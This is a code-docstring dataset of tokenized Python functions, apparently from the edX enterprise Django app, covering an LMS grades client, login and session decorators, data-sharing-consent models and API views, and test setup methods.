{"signature": "@JwtLmsApiClient.refresh_token<EOL><INDENT>def get_course_grade(self, course_id, username):<DEDENT>", "body": "results = self.client.courses(course_id).get(username=username)<EOL>for row in results:<EOL><INDENT>if row.get('<STR_LIT:username>') == username:<EOL><INDENT>return row<EOL><DEDENT><DEDENT>raise HttpNotFoundError('<STR_LIT>'.format(course_id, username))<EOL>", "docstring": "Retrieve the grade for the given username for the given course_id.\n\nArgs:\n* ``course_id`` (str): The string value of the course's unique identifier\n* ``username`` (str): The username ID identifying the user for which to retrieve the grade.\n\nRaises:\n\nHttpNotFoundError if no grade found for the given user+course.\n\nReturns:\n\na dict containing:\n\n* ``username``: A string representation of a user's username passed in the request.\n* ``course_key``: A string representation of a Course ID.\n* ``passed``: Boolean representing whether the course has been passed according the course's grading policy.\n* ``percent``: A float representing the overall grade for the course\n* ``letter_grade``: A letter grade as defined in grading_policy (e.g. 'A' 'B' 'C' for 6.002x) or None", "id": "f16094:c6:m0"}
{"signature": "@JwtLmsApiClient.refresh_token<EOL><INDENT>def get_course_certificate(self, course_id, username):<DEDENT>", "body": "return self.client.certificates(username).courses(course_id).get()<EOL>", "docstring": "Retrieve the certificate for the given username for the given course_id.\n\nArgs:\n* ``course_id`` (str): The string value of the course's unique identifier\n* ``username`` (str): The username ID identifying the user for which to retrieve the certificate\n\nRaises:\n\nHttpNotFoundError if no certificate found for the given user+course.\n\nReturns:\n\na dict containing:\n\n* ``username``: A string representation of an user's username passed in the request.\n* ``course_id``: A string representation of a Course ID.\n* ``certificate_type``: A string representation of the certificate type.\n* ``created_date`: Datetime the certificate was created (tz-aware).\n* ``status``: A string representation of the certificate status.\n* ``is_passing``: True if the certificate has a passing status, False if not.\n* ``download_url``: A string representation of the certificate url.\n* ``grade``: A string representation of a float for the user's course grade.", "id": "f16094:c7:m0"}
{"signature": "def deprecated(extra):", "body": "def decorator(func):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>message = '<STR_LIT>'.format(<EOL>function=func.__name__,<EOL>extra=extra<EOL>)<EOL>frame = inspect.currentframe().f_back<EOL>warnings.warn_explicit(<EOL>message,<EOL>category=DeprecationWarning,<EOL>filename=inspect.getfile(frame.f_code),<EOL>lineno=frame.f_lineno<EOL>)<EOL>return func(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Flag a method as deprecated.\n\n:param extra: Extra text you'd like to display after the default text.", "id": "f16095:m0"}
{"signature": "def ignore_warning(warning):", "body": "def decorator(func):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>warnings.simplefilter('<STR_LIT:ignore>', warning)<EOL>return func(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Ignore any emitted warnings from a function.\n\n:param warning: The category of warning to ignore.", "id": "f16095:m1"}
{"signature": "def disable_for_loaddata(signal_handler):", "body": "<EOL>@wraps(signal_handler)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if kwargs.get('<STR_LIT>', False):<EOL><INDENT>return<EOL><DEDENT>signal_handler(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Use this decorator to turn off signal handlers when loading fixture data.\n\nDjango docs instruct to avoid further changes to the DB if raw=True as it might not be in a consistent state.\nSee https://docs.djangoproject.com/en/dev/ref/signals/#post-save", "id": "f16095:m2"}
{"signature": "def enterprise_login_required(view):", "body": "@wraps(view)<EOL>def wrapper(request, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if '<STR_LIT>' not in kwargs:<EOL><INDENT>raise Http404<EOL><DEDENT>enterprise_uuid = kwargs['<STR_LIT>']<EOL>enterprise_customer = get_enterprise_customer_or_404(enterprise_uuid)<EOL>if not request.user.is_authenticated:<EOL><INDENT>parsed_current_url = urlparse(request.get_full_path())<EOL>parsed_query_string = parse_qs(parsed_current_url.query)<EOL>parsed_query_string.update({<EOL>'<STR_LIT>': enterprise_customer.identity_provider,<EOL>FRESH_LOGIN_PARAMETER: '<STR_LIT:yes>'<EOL>})<EOL>next_url = '<STR_LIT>'.format(<EOL>current_path=quote(parsed_current_url.path),<EOL>query_string=urlencode(parsed_query_string, doseq=True)<EOL>)<EOL>return redirect(<EOL>'<STR_LIT>'.format(<EOL>login_url='<STR_LIT>',<EOL>params=urlencode(<EOL>{'<STR_LIT>': next_url}<EOL>)<EOL>)<EOL>)<EOL><DEDENT>return view(request, *args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "View decorator for allowing authenticated user with valid enterprise UUID.\n\nThis decorator requires enterprise identifier as a parameter\n`enterprise_uuid`.\n\nThis decorator will throw 404 if no kwarg `enterprise_uuid` is provided to\nthe decorated view .\n\nIf there is no enterprise in database against the kwarg `enterprise_uuid`\nor if the user is not authenticated then it will redirect the user to the\nenterprise-linked SSO login page.\n\nUsage::\n    @enterprise_login_required()\n    def my_view(request, enterprise_uuid):\n        # Some functionality ...\n\n    OR\n\n    class MyView(View):\n        ...\n        @method_decorator(enterprise_login_required)\n        def get(self, request, enterprise_uuid):\n            # Some functionality ...", "id": "f16095:m3"}
{"signature": "def force_fresh_session(view):", "body": "@wraps(view)<EOL>def wrapper(request, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if not request.GET.get(FRESH_LOGIN_PARAMETER):<EOL><INDENT>enterprise_customer = get_enterprise_customer_or_404(kwargs.get('<STR_LIT>'))<EOL>provider_id = enterprise_customer.identity_provider or '<STR_LIT>'<EOL>sso_provider = get_identity_provider(provider_id)<EOL>if sso_provider:<EOL><INDENT>scheme, netloc, path, params, query, fragment = urlparse(request.get_full_path())<EOL>redirect_url = urlunparse((scheme, netloc, quote(path), params, query, fragment))<EOL>return redirect(<EOL>'<STR_LIT>'.format(<EOL>logout_url='<STR_LIT>',<EOL>params=urlencode(<EOL>{'<STR_LIT>': redirect_url}<EOL>)<EOL>)<EOL>)<EOL><DEDENT><DEDENT>return view(request, *args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "View decorator which terminates stale TPA sessions.\n\nThis decorator forces the user to obtain a new session\nthe first time they access the decorated view. This prevents\nTPA-authenticated users from hijacking the session of another\nuser who may have been previously logged in using the same\nbrowser window.\n\nThis decorator should be used in conjunction with the\nenterprise_login_required decorator.\n\nUsage::\n    @enterprise_login_required\n    @force_fresh_session()\n    def my_view(request, enterprise_uuid):\n        # Some functionality ...\n\n    OR\n\n    class MyView(View):\n        ...\n        @method_decorator(enterprise_login_required)\n        @method_decorator(force_fresh_session)\n        def get(self, request, enterprise_uuid):\n            # Some functionality ...", "id": "f16095:m4"}
{"signature": "def null_decorator(func):", "body": "return func<EOL>", "docstring": "Use this decorator to stub out decorators for testing.\n\nIf we're unable to import social_core.pipeline.partial, which is the case in our CI platform,\nwe need to be able to wrap the function with something.", "id": "f16095:m5"}
{"signature": "def __str__(self):", "body": "return \"<STR_LIT>\".format(<EOL>class_name=self.__class__.__name__,<EOL>username=self.username,<EOL>enterprise_name=self.enterprise_customer.name,<EOL>)<EOL>", "docstring": "Return a human-readable string representation.", "id": "f16096:c0:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return a uniquely identifying string representation.", "id": "f16096:c0:m1"}
{"signature": "def consent_required(self):", "body": "children = getattr(self, '<STR_LIT>', [])<EOL>if children:<EOL><INDENT>return any((child.consent_required() for child in children))<EOL><DEDENT>if self.granted:<EOL><INDENT>return False<EOL><DEDENT>return bool(<EOL>(self.enterprise_customer.enforces_data_sharing_consent('<STR_LIT>')) and<EOL>(self.enterprise_customer.catalog_contains_course(self.course_id))<EOL>)<EOL>", "docstring": "Return a boolean value indicating whether a consent action must be taken.", "id": "f16096:c0:m2"}
{"signature": "@property<EOL><INDENT>def enterprise_enrollment_exists(self):<DEDENT>", "body": "if self.course_id:<EOL><INDENT>try:<EOL><INDENT>user_id = User.objects.get(username=self.username).pk<EOL><DEDENT>except User.DoesNotExist:<EOL><INDENT>return False<EOL><DEDENT>return EnterpriseCourseEnrollment.objects.filter(<EOL>course_id=self.course_id,<EOL>enterprise_customer_user__user_id=user_id,<EOL>enterprise_customer_user__enterprise_customer=self.enterprise_customer,<EOL>).exists()<EOL><DEDENT>return False<EOL>", "docstring": "Determine whether there exists an EnterpriseCourseEnrollment related to this consent record.", "id": "f16096:c0:m3"}
{"signature": "@property<EOL><INDENT>def exists(self):<DEDENT>", "body": "return self._exists or self.enterprise_enrollment_exists<EOL>", "docstring": "Determine whether a record related to the consent scenario exists.\n\nFirst, check the instance's own `_exists` attribute; this is set to True\non database-backed instances that have a primary key, and may be manually\nset to true on ProxyDataSharingConsent objects that have database-backed\nchildren. If unsuccessful, check to see if an EnterpriseCourseEnrollment\nrelated to this consent record exists; we treat that as though this record\nexists for the purposes of serializable API responses.\n\nWe want to check for EnterpriseCourseEnrollment records because there are\ncases where one will be created, but not the other. In particular, proxy\nenrollments create an ECE but not any consent record. The LMS uses the\nAPI's 'exists' key to determine if consent action should be taken for course\nenrollments that have prior existence but for which consent has not been\ngranted. Thus, 'exists' is used as a proxy for the question \"has any workflow\nbeen entered which may involve a necessity for the learner to grant consent?\"", "id": "f16096:c0:m4"}
{"signature": "def serialize(self):", "body": "details = {<EOL>'<STR_LIT:username>': self.username,<EOL>'<STR_LIT>': self.enterprise_customer.uuid,<EOL>'<STR_LIT>': self.exists,<EOL>'<STR_LIT>': self.granted,<EOL>'<STR_LIT>': self.consent_required(),<EOL>}<EOL>if self.course_id:<EOL><INDENT>details['<STR_LIT>'] = self.course_id<EOL><DEDENT>if getattr(self, '<STR_LIT>', None):<EOL><INDENT>details['<STR_LIT>'] = self.program_uuid<EOL><DEDENT>return details<EOL>", "docstring": "Return a dictionary that provides the core details of the consent record.", "id": "f16096:c0:m5"}
{"signature": "def populate_data_sharing_consent(apps, schema_editor):", "body": "DataSharingConsent = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>EnterpriseCourseEnrollment = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>User = apps.get_model('<STR_LIT>', '<STR_LIT>')<EOL>for enrollment in EnterpriseCourseEnrollment.objects.all():<EOL><INDENT>user = User.objects.get(pk=enrollment.enterprise_customer_user.user_id)<EOL>data_sharing_consent, __ = DataSharingConsent.objects.get_or_create(<EOL>username=user.username,<EOL>enterprise_customer=enrollment.enterprise_customer_user.enterprise_customer,<EOL>course_id=enrollment.course_id,<EOL>)<EOL>if enrollment.consent_granted is not None:<EOL><INDENT>data_sharing_consent.granted = enrollment.consent_granted<EOL><DEDENT>else:<EOL><INDENT>consent_state = enrollment.enterprise_customer_user.data_sharing_consent.first()<EOL>if consent_state is not None:<EOL><INDENT>data_sharing_consent.granted = consent_state.state in ['<STR_LIT>', '<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>data_sharing_consent.granted = False<EOL><DEDENT><DEDENT>data_sharing_consent.save()<EOL><DEDENT>", "docstring": "Populates the ``DataSharingConsent`` model with the ``enterprise`` application's consent data.\n\nConsent data from the ``enterprise`` application come from the ``EnterpriseCourseEnrollment`` model.", "id": "f16099:m0"}
{"signature": "def preview(self, consent_page, course_id='<STR_LIT>', program_uuid='<STR_LIT>'):", "body": "params = {<EOL>'<STR_LIT>': '<STR_LIT:true>',<EOL>'<STR_LIT>': course_id,<EOL>'<STR_LIT>': program_uuid,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': consent_page.enterprise_customer.uuid<EOL>}<EOL>url = reverse('<STR_LIT>') + '<STR_LIT>'.format(urlencode(params))<EOL>return HttpResponseRedirect(url)<EOL>", "docstring": "Makes data sharing consent page url and querystring and redirects to it", "id": "f16102:c1:m0"}
{"signature": "def preview_as_course(self, request, consent_page):  ", "body": "return self.preview(consent_page, course_id='<STR_LIT>')<EOL>", "docstring": "Renders data sharing consent page in course context", "id": "f16102:c1:m1"}
{"signature": "def preview_as_program(self, request, consent_page):  ", "body": "return self.preview(consent_page, program_uuid='<STR_LIT>')<EOL>", "docstring": "Renders data sharing consent page in program context", "id": "f16102:c1:m2"}
{"signature": "def get_consent_record(self, request):", "body": "username, course_id, program_uuid, enterprise_customer_uuid = self.get_required_query_params(request)<EOL>return get_data_sharing_consent(<EOL>username,<EOL>enterprise_customer_uuid,<EOL>course_id=course_id,<EOL>program_uuid=program_uuid<EOL>)<EOL>", "docstring": "Get the consent record relevant to the request at hand.", "id": "f16104:c0:m0"}
{"signature": "def get_required_query_params(self, request):", "body": "username = get_request_value(request, self.REQUIRED_PARAM_USERNAME, '<STR_LIT>')<EOL>course_id = get_request_value(request, self.REQUIRED_PARAM_COURSE_ID, '<STR_LIT>')<EOL>program_uuid = get_request_value(request, self.REQUIRED_PARAM_PROGRAM_UUID, '<STR_LIT>')<EOL>enterprise_customer_uuid = get_request_value(request, self.REQUIRED_PARAM_ENTERPRISE_CUSTOMER)<EOL>if not (username and (course_id or program_uuid) and enterprise_customer_uuid):<EOL><INDENT>raise ConsentAPIRequestError(<EOL>self.get_missing_params_message([<EOL>(\"<STR_LIT>\", bool(username)),<EOL>(\"<STR_LIT>\", bool(enterprise_customer_uuid)),<EOL>(\"<STR_LIT>\", bool(course_id or program_uuid)),<EOL>])<EOL>)<EOL><DEDENT>return username, course_id, program_uuid, enterprise_customer_uuid<EOL>", "docstring": "Gets ``username``, ``course_id``, and ``enterprise_customer_uuid``,\nwhich are the relevant query parameters for this API endpoint.\n\n:param request: The request to this endpoint.\n:return: The ``username``, ``course_id``, and ``enterprise_customer_uuid`` from the request.", "id": "f16104:c0:m1"}
{"signature": "def get_missing_params_message(self, parameter_state):", "body": "params = '<STR_LIT:U+002CU+0020>'.join(name for name, present in parameter_state if not present)<EOL>return self.MISSING_REQUIRED_PARAMS_MSG.format(params)<EOL>", "docstring": "Get a user-friendly message indicating a missing parameter for the API endpoint.", "id": "f16104:c0:m2"}
{"signature": "def get_no_record_response(self, request):", "body": "username, course_id, program_uuid, enterprise_customer_uuid = self.get_required_query_params(request)<EOL>data = {<EOL>self.REQUIRED_PARAM_USERNAME: username,<EOL>self.REQUIRED_PARAM_ENTERPRISE_CUSTOMER: enterprise_customer_uuid,<EOL>self.CONSENT_EXISTS: False,<EOL>self.CONSENT_GRANTED: False,<EOL>self.CONSENT_REQUIRED: False,<EOL>}<EOL>if course_id:<EOL><INDENT>data[self.REQUIRED_PARAM_COURSE_ID] = course_id<EOL><DEDENT>if program_uuid:<EOL><INDENT>data[self.REQUIRED_PARAM_PROGRAM_UUID] = program_uuid<EOL><DEDENT>return Response(data, status=HTTP_200_OK)<EOL>", "docstring": "Get an HTTPResponse that can be used when there's no related EnterpriseCustomer.", "id": "f16104:c0:m3"}
{"signature": "def get(self, request):", "body": "try:<EOL><INDENT>consent_record = self.get_consent_record(request)<EOL>if consent_record is None:<EOL><INDENT>return self.get_no_record_response(request)<EOL><DEDENT><DEDENT>except ConsentAPIRequestError as invalid_request:<EOL><INDENT>return Response({'<STR_LIT:error>': str(invalid_request)}, status=HTTP_400_BAD_REQUEST)<EOL><DEDENT>return Response(consent_record.serialize(), status=HTTP_200_OK)<EOL>", "docstring": "GET /consent/api/v1/data_sharing_consent?username=bob&course_id=id&enterprise_customer_uuid=uuid\n*username*\n    The edX username from whom to get consent.\n*course_id*\n    The course for which consent is granted.\n*enterprise_customer_uuid*\n    The UUID of the enterprise customer that requires consent.", "id": "f16104:c0:m4"}
{"signature": "def post(self, request):", "body": "try:<EOL><INDENT>consent_record = self.get_consent_record(request)<EOL>if consent_record is None:<EOL><INDENT>return self.get_no_record_response(request)<EOL><DEDENT>if consent_record.consent_required():<EOL><INDENT>consent_record.granted = True<EOL>consent_record = consent_record.save() or consent_record<EOL><DEDENT><DEDENT>except ConsentAPIRequestError as invalid_request:<EOL><INDENT>return Response({'<STR_LIT:error>': str(invalid_request)}, status=HTTP_400_BAD_REQUEST)<EOL><DEDENT>return Response(consent_record.serialize())<EOL>", "docstring": "POST /consent/api/v1/data_sharing_consent\n\nRequires a JSON object of the following format:\n>>> {\n>>>     \"username\": \"bob\",\n>>>     \"course_id\": \"course-v1:edX+DemoX+Demo_Course\",\n>>>     \"enterprise_customer_uuid\": \"enterprise-uuid-goes-right-here\"\n>>> }\n\nKeys:\n*username*\n    The edX username from whom to get consent.\n*course_id*\n    The course for which consent is granted.\n*enterprise_customer_uuid*\n    The UUID of the enterprise customer that requires consent.", "id": "f16104:c0:m5"}
{"signature": "def delete(self, request):", "body": "try:<EOL><INDENT>consent_record = self.get_consent_record(request)<EOL>if consent_record is None:<EOL><INDENT>return self.get_no_record_response(request)<EOL><DEDENT>consent_record.granted = False<EOL>consent_record = consent_record.save() or consent_record<EOL><DEDENT>except ConsentAPIRequestError as invalid_request:<EOL><INDENT>return Response({'<STR_LIT:error>': str(invalid_request)}, status=HTTP_400_BAD_REQUEST)<EOL><DEDENT>return Response(consent_record.serialize())<EOL>", "docstring": "DELETE /consent/api/v1/data_sharing_consent\n\nRequires a JSON object of the following format:\n>>> {\n>>>     \"username\": \"bob\",\n>>>     \"course_id\": \"course-v1:edX+DemoX+Demo_Course\",\n>>>     \"enterprise_customer_uuid\": \"enterprise-uuid-goes-right-here\"\n>>> }\n\nKeys:\n*username*\n    The edX username from whom to get consent.\n*course_id*\n    The course for which consent is granted.\n*enterprise_customer_uuid*\n    The UUID of the enterprise customer that requires consent.", "id": "f16104:c0:m6"}
{"signature": "def get_data_sharing_consent(username, enterprise_customer_uuid, course_id=None, program_uuid=None):", "body": "EnterpriseCustomer = apps.get_model('<STR_LIT>', '<STR_LIT>')  <EOL>try:<EOL><INDENT>if course_id:<EOL><INDENT>return get_course_data_sharing_consent(username, course_id, enterprise_customer_uuid)<EOL><DEDENT>return get_program_data_sharing_consent(username, program_uuid, enterprise_customer_uuid)<EOL><DEDENT>except EnterpriseCustomer.DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the data sharing consent object associated with a certain user, enterprise customer, and other scope.\n\n:param username: The user that grants consent\n:param enterprise_customer_uuid: The consent requester\n:param course_id (optional): A course ID to which consent may be related\n:param program_uuid (optional): A program to which consent may be related\n:return: The data sharing consent object, or None if the enterprise customer for the given UUID does not exist.", "id": "f16109:m0"}
{"signature": "def get_course_data_sharing_consent(username, course_id, enterprise_customer_uuid):", "body": "<EOL>DataSharingConsent = apps.get_model('<STR_LIT>', '<STR_LIT>')  <EOL>return DataSharingConsent.objects.proxied_get(<EOL>username=username,<EOL>course_id=course_id,<EOL>enterprise_customer__uuid=enterprise_customer_uuid<EOL>)<EOL>", "docstring": "Get the data sharing consent object associated with a certain user of a customer for a course.\n\n:param username: The user that grants consent.\n:param course_id: The course for which consent is granted.\n:param enterprise_customer_uuid: The consent requester.\n:return: The data sharing consent object", "id": "f16109:m1"}
{"signature": "def get_program_data_sharing_consent(username, program_uuid, enterprise_customer_uuid):", "body": "enterprise_customer = get_enterprise_customer(enterprise_customer_uuid)<EOL>discovery_client = CourseCatalogApiServiceClient(enterprise_customer.site)<EOL>course_ids = discovery_client.get_program_course_keys(program_uuid)<EOL>child_consents = (<EOL>get_data_sharing_consent(username, enterprise_customer_uuid, course_id=individual_course_id)<EOL>for individual_course_id in course_ids<EOL>)<EOL>return ProxyDataSharingConsent.from_children(program_uuid, *child_consents)<EOL>", "docstring": "Get the data sharing consent object associated with a certain user of a customer for a program.\n\n:param username: The user that grants consent.\n:param program_uuid: The program for which consent is granted.\n:param enterprise_customer_uuid: The consent requester.\n:return: The data sharing consent object", "id": "f16109:m2"}
{"signature": "def proxied_get(self, *args, **kwargs):", "body": "original_kwargs = kwargs.copy()<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>try:<EOL><INDENT>course_run_key = str(CourseKey.from_string(kwargs['<STR_LIT>']))<EOL><DEDENT>except InvalidKeyError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>return self.get(*args, **kwargs)<EOL><DEDENT>except DataSharingConsent.DoesNotExist:<EOL><INDENT>kwargs['<STR_LIT>'] = parse_course_key(course_run_key)<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>return self.get(*args, **kwargs)<EOL><DEDENT>except DataSharingConsent.DoesNotExist:<EOL><INDENT>return ProxyDataSharingConsent(**original_kwargs)<EOL><DEDENT>", "docstring": "Perform the query and returns a single object matching the given keyword arguments.\n\nThis customizes the queryset to return an instance of ``ProxyDataSharingConsent`` when\nthe searched-for ``DataSharingConsent`` instance does not exist.", "id": "f16111:c0:m0"}
{"signature": "def __init__(<EOL>self,<EOL>enterprise_customer=None,<EOL>username='<STR_LIT>',<EOL>course_id='<STR_LIT>',<EOL>program_uuid='<STR_LIT>',<EOL>granted=False,<EOL>exists=False,<EOL>child_consents=None,<EOL>**kwargs<EOL>):", "body": "ec_keys = {}<EOL>for key in kwargs:<EOL><INDENT>if str(key).startswith('<STR_LIT>'):<EOL><INDENT>enterprise_customer_detail = key[len('<STR_LIT>'):]<EOL>ec_keys[enterprise_customer_detail] = kwargs[key]<EOL><DEDENT><DEDENT>if ec_keys:<EOL><INDENT>enterprise_customer = EnterpriseCustomer.objects.get(**ec_keys)  <EOL><DEDENT>self.enterprise_customer = enterprise_customer<EOL>self.username = username<EOL>self.course_id = course_id<EOL>self.program_uuid = program_uuid<EOL>self.granted = granted<EOL>self._exists = exists<EOL>self._child_consents = child_consents or []<EOL>", "docstring": "Initialize a proxy version of ``DataSharingConsent`` which behaves similarly but does not exist in the DB.", "id": "f16111:c2:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_children(cls, program_uuid, *children):<DEDENT>", "body": "if not children or any(child is None for child in children):<EOL><INDENT>return None<EOL><DEDENT>granted = all((child.granted for child in children))<EOL>exists = any((child.exists for child in children))<EOL>usernames = set([child.username for child in children])<EOL>enterprises = set([child.enterprise_customer for child in children])<EOL>if not len(usernames) == len(enterprises) == <NUM_LIT:1>:<EOL><INDENT>raise InvalidProxyConsent(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>username = children[<NUM_LIT:0>].username<EOL>enterprise_customer = children[<NUM_LIT:0>].enterprise_customer<EOL>return cls(<EOL>enterprise_customer=enterprise_customer,<EOL>username=username,<EOL>program_uuid=program_uuid,<EOL>exists=exists,<EOL>granted=granted,<EOL>child_consents=children<EOL>)<EOL>", "docstring": "Build a ProxyDataSharingConsent using the details of the received consent records.", "id": "f16111:c2:m1"}
{"signature": "def commit(self):", "body": "if self._child_consents:<EOL><INDENT>consents = []<EOL>for consent in self._child_consents:<EOL><INDENT>consent.granted = self.granted<EOL>consents.append(consent.save() or consent)<EOL><DEDENT>return ProxyDataSharingConsent.from_children(self.program_uuid, *consents)<EOL><DEDENT>consent, _ = DataSharingConsent.objects.update_or_create(<EOL>enterprise_customer=self.enterprise_customer,<EOL>username=self.username,<EOL>course_id=self.course_id,<EOL>defaults={<EOL>'<STR_LIT>': self.granted<EOL>}<EOL>)<EOL>self._exists = consent.exists<EOL>return consent<EOL>", "docstring": "Commit a real ``DataSharingConsent`` object to the database, mirroring current field settings.\n\n:return: A ``DataSharingConsent`` object if validation is successful, otherwise ``None``.", "id": "f16111:c2:m2"}
{"signature": "def save(self, *args, **kwargs):  ", "body": "return self.commit()<EOL>", "docstring": "Synonym function for ``commit``.", "id": "f16111:c2:m3"}
{"signature": "@property<EOL><INDENT>def _exists(self):<DEDENT>", "body": "return bool(self.pk)<EOL>", "docstring": "Return whether the instance exists or not.", "id": "f16111:c3:m0"}
{"signature": "def __str__(self):", "body": "return '<STR_LIT>'.format(<EOL>self.enterprise_customer.uuid<EOL>)<EOL>", "docstring": "Return human-readable string representation.", "id": "f16111:c5:m0"}
{"signature": "def __repr__(self):", "body": "return self.__str__()<EOL>", "docstring": "Return uniquely identifying string representation.", "id": "f16111:c5:m1"}
{"signature": "def setUp(self):", "body": "super(TestEnterpriseConfig, self).setUp()<EOL>self.post_save_mock = mock.Mock()<EOL>patcher = mock.patch('<STR_LIT>', self.post_save_mock)<EOL>patcher.start()<EOL>self.app_config = enterprise.apps.EnterpriseConfig('<STR_LIT>', enterprise)<EOL>self.addCleanup(patcher.stop)<EOL>", "docstring": "Set up test environment.", "id": "f16112:c0:m0"}
{"signature": "def setUp(self):", "body": "super(TestIntegratedChannelConfig, self).setUp()<EOL>self.app_config = integrated_channels.integrated_channel.apps.IntegratedChannelConfig(<EOL>'<STR_LIT>', integrated_channels.integrated_channel<EOL>)<EOL>", "docstring": "Set up test environment", "id": "f16112:c1:m0"}
{"signature": "def setUp(self):", "body": "super(TestSAPSuccessFactorsConfig, self).setUp()<EOL>self.app_config = integrated_channels.sap_success_factors.apps.SAPSuccessFactorsConfig(<EOL>'<STR_LIT>', integrated_channels.sap_success_factors<EOL>)<EOL>", "docstring": "Set up test environment", "id": "f16112:c2:m0"}
{"signature": "def setUp(self):", "body": "super(TestDegreedConfig, self).setUp()<EOL>self.app_config = integrated_channels.degreed.apps.DegreedConfig(<EOL>'<STR_LIT>', integrated_channels.degreed<EOL>)<EOL>", "docstring": "Set up test environment", "id": "f16112:c3:m0"}
{"signature": "def setUp(self):", "body": "super(TestXAPIConfig, self).setUp()<EOL>self.app_config = integrated_channels.xapi.apps.XAPIConfig(<EOL>'<STR_LIT>', integrated_channels.xapi<EOL>)<EOL>", "docstring": "Set up test environment", "id": "f16112:c4:m0"}
{"signature": "def setUp(self):", "body": "super(TestEnterpriseDecorators, self).setUp()<EOL>faker = FakerFactory.create()<EOL>self.provider_id = faker.slug()  <EOL>self.uuid = faker.uuid4()  <EOL>self.customer = EnterpriseCustomerFactory(uuid=self.uuid)<EOL>EnterpriseCustomerIdentityProviderFactory(provider_id=self.provider_id, enterprise_customer=self.customer)<EOL>self.session_engine = import_module(settings.SESSION_ENGINE)<EOL>", "docstring": "Set up test environment.", "id": "f16113:c0:m0"}
{"signature": "def _prepare_request(self, url, user):", "body": "request = RequestFactory().get(url)<EOL>request.user = user<EOL>session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME)<EOL>request.session = self.session_engine.SessionStore(session_key)<EOL>return request<EOL>", "docstring": "Prepare request for test.", "id": "f16113:c0:m1"}
{"signature": "def get_mocked_sso_backend(self):", "body": "<EOL>self.request._messages = fallback.FallbackStorage(self.request)<EOL>strategy_mock = mock.MagicMock(request=self.request)<EOL>backend = mock.MagicMock(<EOL>name=None,<EOL>strategy=strategy_mock,<EOL>)<EOL>return backend<EOL>", "docstring": "Get a mocked request backend with mocked strategy.", "id": "f16114:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _make_file_mock(name=\"<STR_LIT>\", size=<NUM_LIT> * <NUM_LIT>):<DEDENT>", "body": "file_mock = mock.MagicMock(spec=File, name=\"<STR_LIT>\")<EOL>file_mock.name = name<EOL>file_mock.size = size<EOL>return file_mock<EOL>", "docstring": "Build file mock.", "id": "f16115:c7:m0"}
{"signature": "def setUp(self):", "body": "self.faker = FakerFactory.create()<EOL>self.catalog_uuid = self.faker.uuid4()  <EOL>self.enterprise_uuid = self.faker.uuid4()  <EOL>self.enterprise_name = '<STR_LIT>'<EOL>super(TestEnterpriseCustomerCatalog, self).setUp()<EOL>", "docstring": "Setup tests", "id": "f16115:c10:m0"}
{"signature": "def mock_get_available_idps(idps):", "body": "def _():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>idp_list = []<EOL>for idp in idps:<EOL><INDENT>mock_idp = mock.Mock()<EOL>mock_idp.configure_mock(provider_id=idp, name=idp)<EOL>idp_list.append(mock_idp)<EOL><DEDENT>return idp_list<EOL><DEDENT>return _<EOL>", "docstring": "Mock method for get_available_idps.", "id": "f16116:m0"}
{"signature": "def setUp(self):", "body": "super(TestEnterpriseUtils, self).setUp()<EOL>faker = FakerFactory.create()<EOL>self.provider_id = faker.slug()  <EOL>self.uuid = faker.uuid4()  <EOL>self.customer = EnterpriseCustomerFactory(uuid=self.uuid)<EOL>EnterpriseCustomerIdentityProviderFactory(provider_id=self.provider_id, enterprise_customer=self.customer)<EOL>", "docstring": "Set up test environment.", "id": "f16116:c0:m0"}
{"signature": "def setUp(self):", "body": "super(TestSAPSuccessFactorsUtils, self).setUp()<EOL>faker = FakerFactory.create()<EOL>self.user = UserFactory()<EOL>self.uuid = faker.uuid4()  <EOL>self.customer = EnterpriseCustomerFactory(uuid=self.uuid)<EOL>self.enterprise_configuration = SAPSuccessFactorsEnterpriseCustomerConfiguration(<EOL>enterprise_customer=self.customer,<EOL>sapsf_base_url='<STR_LIT>',<EOL>key='<STR_LIT:key>',<EOL>secret='<STR_LIT>',<EOL>)<EOL>", "docstring": "Set up test environment.", "id": "f16116:c1:m0"}
{"signature": "def migrate_to_origin(self):", "body": "self.executor.loader.build_graph()<EOL>self.executor.migrate(self.migrate_origin)<EOL>", "docstring": "Performs the migration to the designated origin.\n\nThis only really does anything if you have migrated forward\nin some way or no migrations were performed at all.", "id": "f16117:c0:m1"}
{"signature": "def migrate_to_dest(self):", "body": "self.executor.loader.build_graph()<EOL>self.executor.migrate(self.migrate_dest)<EOL>", "docstring": "Performs the migration to the designated destination.", "id": "f16117:c0:m2"}
